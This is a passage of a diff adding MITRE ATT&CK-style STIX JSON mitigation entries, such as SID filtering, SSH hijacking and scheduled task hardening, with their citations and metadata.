"https://attack.mitre.org/mitigations/T1076" + }, + { + "source_name": "Berkley Secure", + "description": "Berkeley Security, University of California. (n.d.). Securing Remote Desktop for System Administrators. Retrieved November 4, 2014.", + "url": "https://security.berkeley.edu/node/94" + }, + { + "source_name": "Windows RDP Sessions", + "description": "Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.", + "url": "https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--53b3b027-bed3-480c-9101-1247047d0fe6", + "modified": "2019-07-25T11:33:10.069Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Remote File Copy Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1105", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1105" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--cdecc44a-1dbf-4c1f-881c-f21e3f47272a", + "modified": "2019-07-25T11:33:35.477Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Remote Services Mitigation", + "description": "Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent Credential Access techniques that may allow an adversary to acquire [Valid Accounts](https://attack.mitre.org/techniques/T1078) that can be used by existing services.", + "external_references": [ + { + "external_id": "T1021", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1021" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--979e6485-7a2f-42bd-ae96-4e622c3cd173", + "modified": "2019-07-25T11:34:25.376Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Remote System Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1018", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1018" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--9a902722-cecd-4fbe-a6c9-49333aa0f8c2", + "modified": "2019-07-25T11:34:52.329Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Replication Through Removable Media Mitigation", + "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1091", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1091" + }, + { + "source_name": "Microsoft Disable Autorun", + "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.", + "url": "https://support.microsoft.com/en-us/kb/967715" + }, + { + "source_name": "TechNet Removable Media Control", + "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--effb83a0-ead1-4b36-b7f6-b7bdf9c4616e", + "modified": "2019-07-25T11:35:23.261Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Resource Hijacking Mitigation", + "description": "Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1496", + "url": "https://attack.mitre.org/mitigations/T1496" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T16:59:33.603Z", + "id": "course-of-action--46acc565-11aa-40ba-b629-33ba0ab9b07b", + "modified": "2019-07-25T11:35:48.524Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Restrict File and Directory Permissions", + "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", + "external_references": [ + { + "external_id": "M1022", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1022" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06T20:54:49.964Z", + "id": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-06-06T20:54:49.964Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Restrict Library Loading", + "description": "Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.", + "external_references": [ + { + "external_id": "M1044", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1044" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T17:00:01.740Z", + "id": "course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff", + "modified": "2019-06-11T17:00:01.740Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Restrict Registry Permissions", + "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.", + "external_references": [ + { + "external_id": "M1024", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1024" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06T20:58:59.577Z", + "id": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "modified": "2019-06-06T20:58:59.577Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Restrict Web-Based Content", + "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", + "external_references": [ + { + "external_id": "M1021", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1021" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06T20:52:59.206Z", + "id": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "modified": "2019-06-06T20:52:59.206Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Rootkit Mitigation", + "description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1014", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1014" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--95ddb356-7ba0-4bd9-a889-247262b8946f", + "modified": "2019-07-25T11:36:17.659Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Rundll32 Mitigation", + "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)", + "external_references": [ + { + "external_id": "T1085", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1085" + }, + { + "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.", + "source_name": "Secure Host Baseline EMET", + "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--8c918d8a-11c5-4ffd-af10-e74bc06bdfae", + "modified": "2019-07-25T11:36:40.673Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Runtime Data Manipulation Mitigation", + "description": "Identify critical business and system processes that may be targeted by adversaries and work to secure those systems against tampering. Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code. Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1494", + "url": "https://attack.mitre.org/mitigations/T1494" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T14:59:36.522Z", + "id": "course-of-action--337172b1-b003-4034-8a3f-1d89a71da628", + "modified": "2019-07-25T11:37:02.869Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "SID-History Injection Mitigation", + "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (netdom trust /domain: /EnableSIDHistory:no on the domain controller). \n* Applying SID Filter Quarantining to external trusts using the netdom tool (netdom trust /domain: /quarantine:yes on the domain controller)\nApplying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.", + "external_references": [ + { + "external_id": "T1178", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1178" + }, + { + "source_name": "Microsoft Trust Considerations Nov 2014", + "description": "Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc755321.aspx" + }, + { + "source_name": "Microsoft SID Filtering Quarantining Jan 2009", + "description": "Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc794757.aspx" + }, + { + "source_name": "Microsoft Netdom Trust Sept 2012", + "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc835085.aspx" + }, + { + "source_name": "AdSecurity Kerberos GT Aug 2015", + "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.", + "url": "https://adsecurity.org/?p=1640" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55", + "modified": "2019-07-25T11:37:35.427Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "SIP and Trust Provider Hijacking Mitigation", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nConsider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nRestrict storage and execution of SIP DLLs to protected directories, such as C:\\Windows, rather than user directories.\n\nEnable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.", + "external_references": [ + { + "external_id": "T1198", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1198" + }, + { + "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.", + "source_name": "SpectorOps Subverting Trust Sept 2017", + "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--ef273807-c465-4728-9cee-5823422f42ee", + "modified": "2019-07-25T11:38:03.304Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "SSH Hijacking Mitigation", + "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)", + "external_references": [ + { + "external_id": "T1184", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1184" + }, + { + "source_name": "Symantec SSH and ssh-agent", + "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.", + "url": "https://www.symantec.com/connect/articles/ssh-and-ssh-agent" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--41cff8e9-fd05-408e-b3d5-d98c54c20bcf", + "modified": "2019-07-25T11:38:28.944Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "SSL/TLS Inspection", + "description": "Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.", + "external_references": [ + { + "external_id": "M1020", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1020" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06T20:15:34.146Z", + "id": "course-of-action--7bb5fae9-53ad-4424-866b-f0ea2a8b731d", + "modified": "2019-06-06T20:15:34.146Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Scheduled Task Mitigation", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)\n\nConfigure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)\n\nConfigure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1053", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1053" + }, + { + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "source_name": "Powersploit", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "TechNet Server Operator Scheduled Task", + "description": "Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.", + "url": "https://technet.microsoft.com/library/jj852168.aspx" + }, + { + "source_name": "TechNet Scheduling Priority", + "description": "Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.", + "url": "https://technet.microsoft.com/library/dn221960.aspx" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--f2cb6ce2-188d-4162-8feb-594f949b13dd", + "modified": "2019-07-25T11:39:00.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Scheduled Transfer Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1029", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1029" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--1c0711c8-2a73-48a1-893d-ff88bcd23824", + "modified": "2019-07-25T11:39:28.002Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Screen Capture Mitigation", + "description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1113", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1113" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": 